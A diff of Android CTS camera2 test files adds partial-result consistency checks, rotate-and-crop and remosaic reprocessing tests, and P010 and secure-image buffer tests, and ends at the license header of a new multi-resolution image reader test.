+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -40,6 +40,7 @@
 import android.hardware.camera2.params.MeteringRectangle;
 import android.hardware.camera2.params.RggbChannelVector;
 import android.hardware.camera2.params.TonemapCurve;
+import android.hardware.camera2.TotalCaptureResult;
 import android.media.Image;
 import android.os.Parcel;
 import android.util.ArraySet;
@@ -2694,9 +2695,19 @@
                      * Validate capture result
                      */
                     waitForNumResults(listener, CAPTURE_SUBMIT_REPEAT - 1); // Drop first few frames
-                    CaptureResult result = listener.getCaptureResultForRequest(
+                    TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                             requests[i], NUM_RESULTS_WAIT_TIMEOUT);
+                    List<CaptureResult> partialResults = result.getPartialResults();
+
                     Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
+                    for (CaptureResult partialResult : partialResults) {
+                        Rect cropRegionInPartial =
+                                partialResult.get(CaptureResult.SCALER_CROP_REGION);
+                        if (cropRegionInPartial != null) {
+                            mCollector.expectEquals("SCALER_CROP_REGION in partial result must "
+                                    + "match in final result", cropRegionInPartial, cropRegion);
+                        }
+                    }
 
                     /*
                      * Validate resulting crop regions
@@ -2736,7 +2747,8 @@
 
                     // Verify Output 3A region is intersection of input 3A region and crop region
                     for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                        validate3aRegion(result, algo, expectRegions[i], false/*scaleByZoomRatio*/);
+                        validate3aRegion(result, partialResults, algo, expectRegions[i],
+                                false/*scaleByZoomRatio*/);
                     }
 
                     previousCrop = cropRegion;
@@ -2765,6 +2777,9 @@
         final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
         final Rect defaultCropRegion =
                 new Rect(0, 0, activeArraySize.width(), activeArraySize.height());
+        final Rect zoom2xCropRegion =
+                new Rect(activeArraySize.width()/4, activeArraySize.height()/4,
+                        activeArraySize.width()*3/4, activeArraySize.height()*3/4);
         MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
         CaptureRequest.Builder requestBuilder =
                 mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -2806,6 +2821,7 @@
                 Log.v(TAG, "Testing Zoom ratio " + zoomFactor + " Preview size is " + previewSize);
             }
             requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomFactor);
+            requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, defaultCropRegion);
             CaptureRequest request = requestBuilder.build();
             for (int j = 0; j < captureSubmitRepeat; ++j) {
                 mSession.capture(request, listener, mHandler);
@@ -2815,11 +2831,27 @@
              * Validate capture result
              */
             waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
-            CaptureResult result = listener.getCaptureResultForRequest(
+            TotalCaptureResult result = listener.getTotalCaptureResultForRequest(
                     request, NUM_RESULTS_WAIT_TIMEOUT);
+            List<CaptureResult> partialResults = result.getPartialResults();
             float resultZoomRatio = getValueNotNull(result, CaptureResult.CONTROL_ZOOM_RATIO);
             Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
 
+            for (CaptureResult partialResult : partialResults) {
+                Rect cropRegionInPartial =
+                        partialResult.get(CaptureResult.SCALER_CROP_REGION);
+                if (cropRegionInPartial != null) {
+                    mCollector.expectEquals("SCALER_CROP_REGION in partial result must "
+                            + "match in final result", cropRegionInPartial, cropRegion);
+                }
+
+                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+                if (zoomRatioInPartial != null) {
+                    mCollector.expectEquals("CONTROL_ZOOM_RATIO in partial result must match"
+                            + " that in final result", resultZoomRatio, zoomRatioInPartial);
+                }
+            }
+
             /*
              * Validate resulting crop regions and zoom ratio
              */
@@ -2862,10 +2894,41 @@
             // Verify Output 3A region is intersection of input 3A region and crop region
             boolean scaleByZoomRatio = zoomFactor > 1.0f;
             for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
-                validate3aRegion(result, algo, expectRegions[i], scaleByZoomRatio);
+                validate3aRegion(result, partialResults, algo, expectRegions[i], scaleByZoomRatio);
             }
 
             previousRatio = resultZoomRatio;
+
+            /*
+             * Set windowboxing cropRegion while zoomRatio is not 1.0x, and make sure the crop
+             * region was overwritten.
+             */
+            if (zoomFactor != 1.0f) {
+                requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, zoom2xCropRegion);
+                CaptureRequest requestWithCrop = requestBuilder.build();
+                for (int j = 0; j < captureSubmitRepeat; ++j) {
+                    mSession.capture(requestWithCrop, listener, mHandler);
+                }
+
+                waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
+                CaptureResult resultWithCrop = listener.getCaptureResultForRequest(
+                        requestWithCrop, NUM_RESULTS_WAIT_TIMEOUT);
+                float resultZoomRatioWithCrop = getValueNotNull(resultWithCrop,
+                        CaptureResult.CONTROL_ZOOM_RATIO);
+                Rect cropRegionWithCrop = getValueNotNull(resultWithCrop,
+                        CaptureResult.SCALER_CROP_REGION);
+
+                mCollector.expectTrue(String.format(
+                        "Result zoom ratio should remain the same (activeArrayCrop: %f, " +
+                        "zoomedCrop: %f)", resultZoomRatio, resultZoomRatioWithCrop),
+                        Math.abs(resultZoomRatio - resultZoomRatioWithCrop) < ZOOM_ERROR_MARGIN);
+
+                if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+                    mCollector.expectRectsAreSimilar(
+                            "Result crop region should remain the same with or without crop",
+                            cropRegion, cropRegionWithCrop, CROP_REGION_ERROR_PERCENT_DELTA);
+                }
+            }
         }
     }
 
@@ -3400,12 +3463,14 @@
      * Validate one 3A region in capture result equals to expected region if that region is
      * supported. Do nothing if the specified 3A region is not supported by camera device.
      * @param result The capture result to be validated
+     * @param partialResults The partial results to be validated
      * @param algoIdx The index to the algorithm. (AE: 0, AWB: 1, AF: 2)
      * @param expectRegions The 3A regions expected in capture result
+     * @param scaleByZoomRatio whether to scale the error threshold by zoom ratio
      */
     private void validate3aRegion(
-            CaptureResult result, int algoIdx, MeteringRectangle[] expectRegions,
-            boolean scaleByZoomRatio)
+            CaptureResult result, List<CaptureResult> partialResults, int algoIdx,
+            MeteringRectangle[] expectRegions, boolean scaleByZoomRatio)
     {
         // There are multiple cases where result 3A region could be slightly different than the
         // request:
@@ -3443,12 +3508,27 @@
         int maxDist = maxCoordOffset;
         if (scaleByZoomRatio) {
             Float zoomRatio = result.get(CaptureResult.CONTROL_ZOOM_RATIO);
+            for (CaptureResult partialResult : partialResults) {
+                Float zoomRatioInPartial = partialResult.get(CaptureResult.CONTROL_ZOOM_RATIO);
+                if (zoomRatioInPartial != null) {
+                    mCollector.expectEquals("CONTROL_ZOOM_RATIO in partial result must match"
+                            + " that in final result", zoomRatio, zoomRatioInPartial);
+                }
+            }
             maxDist = (int)Math.ceil(maxDist * Math.max(zoomRatio / 2, 1.0f));
         }
 
         if (maxRegions > 0)
         {
             actualRegion = getValueNotNull(result, key);
+            for (CaptureResult partialResult : partialResults) {
+                MeteringRectangle[] actualRegionInPartial = partialResult.get(key);
+                if (actualRegionInPartial != null) {
+                    mCollector.expectEquals("Key " + key.getName() + " in partial result must match"
+                            + " that in final result", actualRegionInPartial, actualRegion);
+                }
+            }
+
             for (int i = 0; i < actualRegion.length; i++) {
                 // If the expected region's metering weight is 0, allow the camera device
                 // to override it.
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index a5c8978..d015959 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -213,6 +213,8 @@
                     Set<CaptureResult.Key<?>> appearedPartialKeys =
                             new HashSet<CaptureResult.Key<?>>();
                     for (CaptureResult partialResult : partialResults) {
+                        mCollector.expectEquals("Partial capture result camera ID must be correct",
+                                partialResult.getCameraId(), id);
                         List<CaptureResult.Key<?>> partialKeys = partialResult.getKeys();
                         mCollector.expectValuesUnique("Partial result keys: ", partialKeys);
                         for (CaptureResult.Key<?> key : partialKeys) {
@@ -225,6 +227,8 @@
                     }
 
                     // Test total result against the partial results
+                    mCollector.expectEquals("Total capture result camera ID must be correct",
+                            totalResult.getCameraId(), id);
                     List<CaptureResult.Key<?>> totalResultKeys = totalResult.getKeys();
                     mCollector.expectTrue(
                             "TotalCaptureResult must be a super set of partial capture results",
@@ -593,6 +597,11 @@
         waiverKeys.add(CaptureResult.JPEG_THUMBNAIL_QUALITY);
         waiverKeys.add(CaptureResult.JPEG_THUMBNAIL_SIZE);
 
+        if (!staticInfo.isUltraHighResolutionSensor()) {
+            waiverKeys.add(CaptureResult.SENSOR_PIXEL_MODE);
+            waiverKeys.add(CaptureResult.SENSOR_RAW_BINNING_FACTOR_USED);
+        }
+
         // Keys only present when corresponding control is on are being
         // verified in its own functional test
         // Only present in certain tonemap mode. Test in CaptureRequestTest.
@@ -660,7 +669,7 @@
             // Radial distortion doesn't need to be present for new devices, or old devices that
             // opt in the new lens distortion tag.
             CameraCharacteristics c = staticInfo.getCharacteristics();
-            if (Build.VERSION.FIRST_SDK_INT > Build.VERSION_CODES.O_MR1 ||
+            if (Build.VERSION.DEVICE_INITIAL_SDK_INT > Build.VERSION_CODES.O_MR1 ||
                     c.get(CameraCharacteristics.LENS_DISTORTION) != null) {
                 waiverKeys.add(CaptureResult.LENS_RADIAL_DISTORTION);
             }
@@ -733,6 +742,10 @@
             waiverKeys.add(CaptureResult.CONTROL_EXTENDED_SCENE_MODE);
         }
 
+        if (!staticInfo.isRotateAndCropSupported()) {
+            waiverKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
+        }
+
         if (staticInfo.isHardwareLevelAtLeastFull()) {
             return waiverKeys;
         }
@@ -847,6 +860,7 @@
         waiverKeys.add(CaptureResult.STATISTICS_FACE_DETECT_MODE);
         waiverKeys.add(CaptureResult.FLASH_MODE);
         waiverKeys.add(CaptureResult.SCALER_CROP_REGION);
+        waiverKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
 
         return waiverKeys;
     }
@@ -1019,6 +1033,7 @@
         resultKeys.add(CaptureResult.NOISE_REDUCTION_MODE);
         resultKeys.add(CaptureResult.REQUEST_PIPELINE_DEPTH);
         resultKeys.add(CaptureResult.SCALER_CROP_REGION);
+        resultKeys.add(CaptureResult.SCALER_ROTATE_AND_CROP);
         resultKeys.add(CaptureResult.SENSOR_EXPOSURE_TIME);
         resultKeys.add(CaptureResult.SENSOR_FRAME_DURATION);
         resultKeys.add(CaptureResult.SENSOR_SENSITIVITY);
@@ -1031,6 +1046,8 @@
         resultKeys.add(CaptureResult.SENSOR_ROLLING_SHUTTER_SKEW);
         resultKeys.add(CaptureResult.SENSOR_DYNAMIC_BLACK_LEVEL);
         resultKeys.add(CaptureResult.SENSOR_DYNAMIC_WHITE_LEVEL);
+        resultKeys.add(CaptureResult.SENSOR_PIXEL_MODE);
+        resultKeys.add(CaptureResult.SENSOR_RAW_BINNING_FACTOR_USED);
         resultKeys.add(CaptureResult.SHADING_MODE);
         resultKeys.add(CaptureResult.STATISTICS_FACE_DETECT_MODE);
         resultKeys.add(CaptureResult.STATISTICS_HOT_PIXEL_MAP_MODE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
index d04ac12..892ae0c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ConcurrentCameraTest.java
@@ -35,6 +35,7 @@
 import android.hardware.camera2.params.SessionConfiguration;
 import android.media.ImageReader;
 import android.util.Log;
+import android.util.Pair;
 import android.view.Surface;
 
 import com.android.ex.camera2.blocking.BlockingSessionCallback;
@@ -73,13 +74,8 @@
         public boolean haveSession = false;
         public boolean substituteY8;
         public List<OutputConfiguration> outputConfigs = new ArrayList<OutputConfiguration>();
-        public List<SurfaceTexture> privTargets = new ArrayList<SurfaceTexture>();
-        public List<ImageReader> jpegTargets = new ArrayList<ImageReader>();
-        public List<ImageReader> yuvTargets = new ArrayList<ImageReader>();
-        public List<ImageReader> y8Targets = new ArrayList<ImageReader>();
-        public List<ImageReader> rawTargets = new ArrayList<ImageReader>();
-        public List<ImageReader> heicTargets = new ArrayList<ImageReader>();
-        public List<ImageReader> depth16Targets = new ArrayList<ImageReader>();
+        public List<Surface> outputSurfaces = new ArrayList<Surface>();
+        public StreamCombinationTargets targets = new StreamCombinationTargets();
         public TestSample(String cameraId, StaticMetadata staticInfo,
                 MandatoryStreamCombination combination, boolean subY8) {
             this.cameraId = cameraId;
@@ -245,12 +241,15 @@
             CameraTestInfo info = mCameraTestInfos.get(testSample.cameraId);
             assertTrue("CameraTestInfo not found for camera id " + testSample.cameraId,
                     info != null);
+            List<OutputConfiguration> outputConfigs = new ArrayList<>();
             CameraTestUtils.setupConfigurationTargets(
-                testSample.combination.getStreamsInformation(), testSample.privTargets,
-                testSample.jpegTargets, testSample.yuvTargets, testSample.y8Targets,
-                testSample.rawTargets, testSample.heicTargets, testSample.depth16Targets,
-                testSample.outputConfigs, MIN_RESULT_COUNT, testSample.substituteY8,
-                /*substituteHEIC*/false, /*physicalCameraId*/null, mHandler);
+                testSample.combination.getStreamsInformation(), testSample.targets,
+                outputConfigs, testSample.outputSurfaces, MIN_RESULT_COUNT,
+                testSample.substituteY8, /*substituteHEIC*/false, /*physicalCameraId*/null,
+                /*ultraHighResolution*/false, /*multiResStreamConfig*/null, mHandler);
+            for (OutputConfiguration c : outputConfigs) {
+                testSample.outputConfigs.add(c);
+            }
 
             try {
                 checkSessionConfigurationSupported(info.mCamera, mHandler, testSample.outputConfigs,
@@ -327,27 +326,7 @@
                             e.getMessage()));
                 }
             }
-            for (SurfaceTexture target : testSample.privTargets) {
-                target.release();
-            }
-            for (ImageReader target : testSample.jpegTargets) {
-                target.close();
-            }
-            for (ImageReader target : testSample.yuvTargets) {
-                target.close();
-            }
-            for (ImageReader target : testSample.y8Targets) {
-                target.close();
-            }
-            for (ImageReader target : testSample.rawTargets) {
-                target.close();
-            }
-            for (ImageReader target : testSample.heicTargets) {
-                target.close();
-            }
-            for (ImageReader target : testSample.depth16Targets) {
-                target.close();
-            }
+            testSample.targets.close();
         }
     }
 }
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 9d9bcfc..d30349e 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -1473,6 +1473,71 @@
     }
 
     /**
+     * Check remosaic reprocessing capabilities. Check that ImageFormat.RAW_SENSOR is supported as
+     * input and output.
+     */
+    @Test
+    public void testRemosaicReprocessingCharacteristics() {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testRemosaicReprocessingCharacteristics: Testing camera ID " +
+                    mAllCameraIds[i]);
+
+            CameraCharacteristics c = mCharacteristics.get(i);
+            int[] capabilities = c.get(CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES);
+            assertNotNull("android.request.availableCapabilities must never be null",
+                    capabilities);
+            boolean supportsRemosaic = arrayContains(capabilities,
+                    CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_REMOSAIC_REPROCESSING);
+            if (!supportsRemosaic) {
+                Log.i(TAG, "Remosaic reprocessing not supported by camera id " + i +
+                        " skipping test");
+                continue;
+            }
+            StreamConfigurationMap configs =
+                    c.get(CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP_MAXIMUM_RESOLUTION);
+            Integer maxNumInputStreams =
+                    c.get(CameraCharacteristics.REQUEST_MAX_NUM_INPUT_STREAMS);
+            int[] inputFormats = configs.getInputFormats();
+            int[] outputFormats = configs.getOutputFormats();
+
+            mCollector.expectTrue("Support reprocessing but max number of input stream is " +
+                    maxNumInputStreams, maxNumInputStreams != null && maxNumInputStreams > 0);
+
+            // Verify mandatory input formats are supported
+            mCollector.expectTrue("RAW_SENSOR input support needed for REMOSAIC reprocessing",
+                    arrayContains(inputFormats, ImageFormat.RAW_SENSOR));
+            // max capture stall must be reported if one of the reprocessing is supported.
+            final int MAX_ALLOWED_STALL_FRAMES = 4;
+            Integer maxCaptureStall = c.get(CameraCharacteristics.REPROCESS_MAX_CAPTURE_STALL);
+            mCollector.expectTrue("max capture stall must be non-null and no larger than "
+                    + MAX_ALLOWED_STALL_FRAMES,
+                    maxCaptureStall != null && maxCaptureStall <= MAX_ALLOWED_STALL_FRAMES);
+
+            for (int input : inputFormats) {
+                // Verify mandatory output formats are supported
+                int[] outputFormatsForInput = configs.getValidOutputFormatsForInput(input);
+
+                // Verify camera can output the reprocess input formats and sizes.
+                Size[] inputSizes = configs.getInputSizes(input);
+                Size[] outputSizes = configs.getOutputSizes(input);
+                Size[] highResOutputSizes = configs.getHighResolutionOutputSizes(input);
+                mCollector.expectTrue("no input size supported for format " + input,
+                        inputSizes.length > 0);
+                mCollector.expectTrue("no output size supported for format " + input,
+                        outputSizes.length > 0);
+
+                for (Size inputSize : inputSizes) {
+                    mCollector.expectTrue("Camera must be able to output the supported " +
+                            "reprocessing input size",
+                            arrayContains(outputSizes, inputSize) ||
+                            arrayContains(highResOutputSizes, inputSize));
+                }
+            }
+        }
+    }
+
+
+    /**
      * Check depth output capability
      */
     @Test
@@ -2324,6 +2389,53 @@
     }
 
     /**
+     * Check rotate-and-crop camera reporting.
+     * Every device must report NONE; if actually supporting feature, must report NONE, 90, AUTO at
+     * least.
+     */
+    @Test
+    public void testRotateAndCropCharacteristics() {
+        for (int i = 0; i < mAllCameraIds.length; i++) {
+            Log.i(TAG, "testRotateAndCropCharacteristics: Testing camera ID " + mAllCameraIds[i]);
+
+            CameraCharacteristics c = mCharacteristics.get(i);
+
+            if (!arrayContains(mCameraIdsUnderTest, mAllCameraIds[i])) {
+                // Skip hidden physical cameras
+                continue;
+            }
+
+            int[] availableRotateAndCropModes = c.get(
+                    CameraCharacteristics.SCALER_AVAILABLE_ROTATE_AND_CROP_MODES);
+            assertTrue("availableRotateAndCropModes must not be null",
+                     availableRotateAndCropModes != null);
+            boolean foundAuto = false;
+            boolean foundNone = false;
+            boolean found90 = false;
+            for (int mode :  availableRotateAndCropModes) {
+                switch(mode) {
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_NONE:
+                        foundNone = true;
+                        break;
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_90:
+                        found90 = true;
+                        break;
+                    case CameraCharacteristics.SCALER_ROTATE_AND_CROP_AUTO:
+                        foundAuto = true;
+                        break;
+                }
+            }
+            if (availableRotateAndCropModes.length > 1) {
+                assertTrue("To support SCALER_ROTATE_AND_CROP: NONE, 90, and AUTO must be included",
+                        foundNone && found90 && foundAuto);
+            } else {
+                assertTrue("If only one SCALER_ROTATE_AND_CROP value is supported, it must be NONE",
+                        foundNone);
+            }
+        }
+    }
+
+    /**
      * Check that all devices available through the legacy API are also
      * accessible via Camera2.
      */
@@ -2437,7 +2549,7 @@
     private float[] getLensDistortion(CameraCharacteristics c) {
         float[] distortion = null;
         float[] newDistortion = c.get(CameraCharacteristics.LENS_DISTORTION);
-        if (Build.VERSION.FIRST_SDK_INT > Build.VERSION_CODES.O_MR1 || newDistortion != null) {
+        if (Build.VERSION.DEVICE_INITIAL_SDK_INT > Build.VERSION_CODES.O_MR1 || newDistortion != null) {
             // New devices need to use fixed radial distortion definition; old devices can
             // opt-in to it
             if (newDistortion != null && newDistortion.length == 5) {
diff --git a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
index fb1bd6c..9b84387 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
@@ -53,7 +53,9 @@
 
     @Override
     public void setUp() throws Exception {
-        super.setUp();
+        //Use all camera ids for system camera testing since we count the number of callbacks here
+        // and when mAdoptShellPerm == true, all camera ids will get callbacks.
+        super.setUp(/*useAll*/true);
 
         // initialize the list of cameras that have a flash unit so it won't interfere with
         // flash tests.
@@ -260,13 +262,14 @@
                                     "opened camera");
                         }
                     } catch (CameraAccessException e) {
+                        int reason = e.getReason();
                         if ((hasFlash(id) &&  id.equals(idToOpen) &&
-                                    e.getReason() == CameraAccessException.CAMERA_IN_USE) ||
+                                    reason == CameraAccessException.CAMERA_IN_USE) ||
                             (hasFlash(id) && !id.equals(idToOpen) &&
-                                    e.getReason() == CameraAccessException.MAX_CAMERAS_IN_USE)) {
+                                    reason == CameraAccessException.MAX_CAMERAS_IN_USE)) {
                             continue;
                         }
-                        fail("(" + id + ") not expecting: " + e.getMessage());
+                        fail("(" + id + ") not expecting: " + e.getMessage() + "reason " + reason);
                     } catch (IllegalArgumentException e) {
                         if (hasFlash(id)) {
                             fail("not expecting IllegalArgumentException");
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 971b51c..07a0d89 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -36,6 +36,7 @@
 import android.hardware.camera2.cts.helpers.StaticMetadata;
 import android.hardware.camera2.cts.rs.BitmapUtils;
 import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.hardware.camera2.params.OutputConfiguration;
 import android.hardware.camera2.params.StreamConfigurationMap;
 import android.media.Image;
 import android.media.Image.Plane;
@@ -51,6 +52,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.Set;
 
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -215,6 +217,19 @@
     }
 
     @Test
+    public void testP010() throws Exception {
+        for (String id : mCameraIdsUnderTest) {
+            try {
+                Log.v(TAG, "Testing YUV P010 capture for Camera " + id);
+                openDevice(id);
+                bufferFormatTestByCamera(ImageFormat.YCBCR_P010, /*repeating*/false);
+            } finally {
+                closeDevice(id);
+            }
+        }
+    }
+
+    @Test
     public void testHeic() throws Exception {
         for (String id : mCameraIdsUnderTest) {
             try {
@@ -420,17 +435,38 @@
         for (String id : mCameraIdsUnderTest) {
             try {
                 Log.v(TAG, "Private format and protected usage testing for camera " + id);
-                if (!mAllStaticInfo.get(id).isCapabilitySupported(
+                List<String> testCameraIds = new ArrayList<>();
+
+                if (mAllStaticInfo.get(id).isCapabilitySupported(
                         CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA)) {
+                    // Test the camera id without using physical camera
+                    testCameraIds.add(null);
+                }
+
+                if (mAllStaticInfo.get(id).isLogicalMultiCamera()) {
+                    Set<String> physicalIdsSet =
+                        mAllStaticInfo.get(id).getCharacteristics().getPhysicalCameraIds();
+                    for (String physicalId : physicalIdsSet) {
+                        if (mAllStaticInfo.get(physicalId).isCapabilitySupported(
+                                CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_SECURE_IMAGE_DATA)) {
+                            testCameraIds.add(physicalId);
+                        }
+                    }
+                }
+
+                if (testCameraIds.isEmpty()) {
                     Log.i(TAG, "Camera " + id +
                             " does not support secure image data capability, skipping");
-
                     continue;
                 }
                 openDevice(id);
-                bufferFormatTestByCamera(ImageFormat.PRIVATE, /*setUsageFlag*/ true,
-                        HardwareBuffer.USAGE_PROTECTED_CONTENT, /*repeating*/ true,
-                        /*checkSession*/ true, /*validateImageData*/ false);
+
+                for (String testCameraId : testCameraIds) {
+                    bufferFormatTestByCamera(ImageFormat.PRIVATE, /*setUsageFlag*/ true,
+                            HardwareBuffer.USAGE_PROTECTED_CONTENT, /*repeating*/ true,
+                            /*checkSession*/ true, /*validateImageData*/ false,
+                            testCameraId);
+                }
             } finally {
                 closeDevice(id);
             }
@@ -1044,16 +1080,42 @@
     }
 
     private void bufferFormatTestByCamera(int format, boolean setUsageFlag, long usageFlag,
+            boolean repeating, boolean checkSession, boolean validateImageData) throws Exception {
+        bufferFormatTestByCamera(format, setUsageFlag, usageFlag, repeating, checkSession,
+                validateImageData, /*physicalId*/null);
+    }
+
+    private void bufferFormatTestByCamera(int format, boolean setUsageFlag, long usageFlag,
             // TODO: Consider having some sort of test configuration class passed to reduce the
             //       proliferation of parameters ?
-            boolean repeating, boolean checkSession, boolean validateImageData)
+            boolean repeating, boolean checkSession, boolean validateImageData, String physicalId)
             throws Exception {
-        Size[] availableSizes = mStaticInfo.getAvailableSizesForFormatChecked(format,
+        StaticMetadata staticInfo;
+        if (physicalId == null) {
+            staticInfo = mStaticInfo;
+        } else {
+            staticInfo = mAllStaticInfo.get(physicalId);
+        }
+
+        Size[] availableSizes = staticInfo.getAvailableSizesForFormatChecked(format,
                 StaticMetadata.StreamDirection.Output);
 
+        boolean secureTest = setUsageFlag &&
+                ((usageFlag & HardwareBuffer.USAGE_PROTECTED_CONTENT) != 0);
+        Size secureDataSize = null;
+        if (secureTest) {
+            secureDataSize = staticInfo.getCharacteristics().get(
+                    CameraCharacteristics.SCALER_DEFAULT_SECURE_IMAGE_SIZE);
+        }
+
         // for each resolution, test imageReader:
         for (Size sz : availableSizes) {
             try {
+                // For secure mode test only test default secure data size if HAL advertises one.
+                if (secureDataSize != null && !secureDataSize.equals(sz)) {
+                    continue;
+                }
+
                 if (VERBOSE) {
                     Log.v(TAG, "Testing size " + sz.toString() + " format " + format
                             + " for camera " + mCamera.getId());
@@ -1067,13 +1129,27 @@
                     createDefaultImageReader(sz, format, MAX_NUM_IMAGES, mListener);
                 }
 
-                if (checkSession) {
-                    checkImageReaderSessionConfiguration(
-                            "Camera capture session validation for format: " + format + "failed");
+                // Don't queue up images if we won't validate them
+                if (!validateImageData) {
+                    ImageDropperListener imageDropperListener = new ImageDropperListener();
+                    mReader.setOnImageAvailableListener(imageDropperListener, mHandler);
                 }
 
-                // Start capture.
-                CaptureRequest request = prepareCaptureRequest();
+                if (checkSession) {
+                    checkImageReaderSessionConfiguration(
+                            "Camera capture session validation for format: " + format + "failed",
+                            physicalId);
+                }
+
+                ArrayList<OutputConfiguration> outputConfigs = new ArrayList<>();
+                OutputConfiguration config = new OutputConfiguration(mReader.getSurface());
+                if (physicalId != null) {
+                    config.setPhysicalCameraId(physicalId);
+                }
+                outputConfigs.add(config);
+                CaptureRequest request = prepareCaptureRequestForConfigs(
+                        outputConfigs, CameraDevice.TEMPLATE_PREVIEW).build();
+
                 SimpleCaptureCallback listener = new SimpleCaptureCallback();
                 startCapture(request, repeating, listener, mHandler);
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 6398e01..7e4a8c5 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -181,6 +181,19 @@
     }
 
     @Test
+    public void testWriterReaderBlobFormats() throws Exception {
+        int[] READER_TEST_FORMATS = {ImageFormat.JPEG, ImageFormat.DEPTH_JPEG,
+                                     ImageFormat.HEIC, ImageFormat.DEPTH_POINT_CLOUD};
+
+        for (int format : READER_TEST_FORMATS) {
+            ImageReader reader = ImageReader.newInstance(640, 480, format, 1 /*maxImages*/);
+            ImageWriter writer = ImageWriter.newInstance(reader.getSurface(), 1 /*maxImages*/);
+            writer.close();
+            reader.close();
+        }
+    }
+
+    @Test
     public void testWriterFormatOverride() throws Exception {
         int[] TEXTURE_TEST_FORMATS = {ImageFormat.YV12, ImageFormat.YUV_420_888};
         SurfaceTexture texture = new SurfaceTexture(/*random int*/1);
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 56c2652..a1030a0 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -1187,13 +1187,15 @@
             Map<String, CaptureResult> physicalResultsDual =
                     totalCaptureResultDual.getPhysicalCameraResults();
             for (String physicalId : physicalCameraIds) {
-                 if (physicalResultsDual.containsKey(physicalId)) {
-                     physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
-                             CaptureResult.SENSOR_TIMESTAMP);
-                 } else {
-                     physicalTimestamps[index][i] = -1;
-                 }
-                 index++;
+                assertTrue("Physical capture result camera ID must match the right camera",
+                        physicalResultsDual.get(physicalId).getCameraId().equals(physicalId));
+                if (physicalResultsDual.containsKey(physicalId)) {
+                    physicalTimestamps[index][i] = physicalResultsDual.get(physicalId).get(
+                        CaptureResult.SENSOR_TIMESTAMP);
+                } else {
+                    physicalTimestamps[index][i] = -1;
+                }
+                index++;
             }
         }
 
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
new file mode 100644
index 0000000..9ec5e70
--- /dev/null
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiResolutionImageReaderTest.java
@@ -0,0 +1,518 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
